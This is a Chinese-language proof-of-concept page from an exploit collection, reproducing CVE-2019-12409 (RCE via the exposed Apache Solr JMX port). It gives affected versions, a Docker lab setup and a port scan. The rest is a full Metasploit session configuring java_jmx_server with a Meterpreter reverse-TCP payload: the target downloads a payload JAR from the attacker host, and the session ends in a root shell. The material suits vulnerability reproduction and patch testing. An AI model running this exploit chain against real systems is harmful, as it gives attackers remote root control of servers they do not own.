mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
128 lines
5.2 KiB
Markdown
128 lines
5.2 KiB
Markdown
|
# Apache Solr JMX服务 RCE CVE-2019-12409
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Java ManagementExtensions（JMX）是一种Java技术，为管理和监视应用程序、系统对象、设备（如打印机）和面向服务的网络提供相应的工具。JMX 作为 Java的一种Bean管理机制，如果JMX服务端口暴露，那么远程攻击者可以让该服务器远程加载恶意的Bean文件，随着Bean的滥用导致远程代码执行。
|
|||
|
|
|
|||
|
|
## 影响版本
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Apache Solr 8.1.1
|
|||
|
|
Apache Solr 8.2.0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
[下载 Apache Solr 8.2.0](http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip)
|
|||
|
|
|
|||
|
|
也可以docker搭建
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
docker pull solr:8.2.0
|
|||
|
|
docker run --name solr -d -p 8983:8983 -t solr:8.2.0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
查看搭建的Solr是否存在漏洞,查看solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置是否为“Ture”，如果为Ture，则存在漏洞
|
|||
|
|
|
|||
|
|
查看漏洞端口18983是否开放
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
nmap xxx.xxx.xxx.xxx -p 18983
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
root@kali:~/桌面# msfconsole
|
|||
|
|
|
|||
|
|
, ,
|
|||
|
|
/ \
|
|||
|
|
((__---,,,---__))
|
|||
|
|
(_) O O (_)_________
|
|||
|
|
\ _ / |\
|
|||
|
|
o_o \ M S F | \
|
|||
|
|
\ _____ | *
|
|||
|
|
||| WW|||
|
|||
|
|
||| |||
|
|||
|
|
|
|||
|
|
|
|||
|
|
=[ metasploit v5.0.101-dev ]
|
|||
|
|
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post ]
|
|||
|
|
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
|
|||
|
|
+ -- --=[ 7 evasion ]
|
|||
|
|
|
|||
|
|
Metasploit tip: Writing a custom module? After editing your module, why not try the reload command
|
|||
|
|
|
|||
|
|
msf5 > use exploit/multi/misc/java_jmx_server
|
|||
|
|
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
|
|||
|
|
msf5 exploit(multi/misc/java_jmx_server) > set rhost 192.168.51.146
|
|||
|
|
rhost => 192.168.51.146
|
|||
|
|
msf5 exploit(multi/misc/java_jmx_server) > set rport 18983
|
|||
|
|
rport => 18983
|
|||
|
|
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
|
|||
|
|
payload => java/meterpreter/reverse_tcp
|
|||
|
|
msf5 exploit(multi/misc/java_jmx_server) > options
|
|||
|
|
|
|||
|
|
Module options (exploit/multi/misc/java_jmx_server):
|
|||
|
|
|
|||
|
|
Name Current Setting Required Description
|
|||
|
|
---- --------------- -------- -----------
|
|||
|
|
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
|
|||
|
|
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
|
|||
|
|
JMX_ROLE no The role to interact with an authenticated JMX endpoint
|
|||
|
|
RHOSTS 192.168.51.146 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
|||
|
|
RPORT 18983 yes The target port (TCP)
|
|||
|
|
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
|||
|
|
SRVPORT 8080 yes The local port to listen on.
|
|||
|
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
|||
|
|
URIPATH no The URI to use for this exploit (default is random)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Payload options (java/meterpreter/reverse_tcp):
|
|||
|
|
|
|||
|
|
Name Current Setting Required Description
|
|||
|
|
---- --------------- -------- -----------
|
|||
|
|
LHOST 192.168.51.149 yes The listen address (an interface may be specified)
|
|||
|
|
LPORT 4444 yes The listen port
|
|||
|
|
|
|||
|
|
|
|||
|
|
Exploit target:
|
|||
|
|
|
|||
|
|
Id Name
|
|||
|
|
-- ----
|
|||
|
|
0 Generic (Java Payload)
|
|||
|
|
|
|||
|
|
|
|||
|
|
msf5 exploit(multi/misc/java_jmx_server) > run
|
|||
|
|
|
|||
|
|
[*] Started reverse TCP handler on 192.168.51.149:4444
|
|||
|
|
[*] 192.168.51.146:18983 - Using URL: http://0.0.0.0:8080/xln8izoCtDUbBVm
|
|||
|
|
[*] 192.168.51.146:18983 - Local IP: http://192.168.51.149:8080/xln8izoCtDUbBVm
|
|||
|
|
[*] 192.168.51.146:18983 - Sending RMI Header...
|
|||
|
|
[*] 192.168.51.146:18983 - Discovering the JMXRMI endpoint...
|
|||
|
|
[+] 192.168.51.146:18983 - JMXRMI endpoint on 127.0.1.1:18983
|
|||
|
|
[*] 192.168.51.146:18983 - Proceeding with handshake...
|
|||
|
|
[+] 192.168.51.146:18983 - Handshake with JMX MBean server on 127.0.1.1:18983
|
|||
|
|
[*] 192.168.51.146:18983 - Loading payload...
|
|||
|
|
[*] 192.168.51.146:18983 - Replied to request for mlet
|
|||
|
|
[*] 192.168.51.146:18983 - Replied to request for payload JAR
|
|||
|
|
[*] 192.168.51.146:18983 - Executing payload...
|
|||
|
|
[*] 192.168.51.146:18983 - Replied to request for payload JAR
|
|||
|
|
[*] Sending stage (53944 bytes) to 192.168.51.146
|
|||
|
|
[*] Meterpreter session 1 opened (192.168.51.149:4444 -> 192.168.51.146:56234) at 2020-11-05 14:17:04 +0800
|
|||
|
|
|
|||
|
|
|
|||
|
|
meterpreter >
|
|||
|
|
meterpreter > shell
|
|||
|
|
Process 1 created.
|
|||
|
|
Channel 1 created.
|
|||
|
|
id
|
|||
|
|
用户id=0(root) 组id=0(root) 组=0(root)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|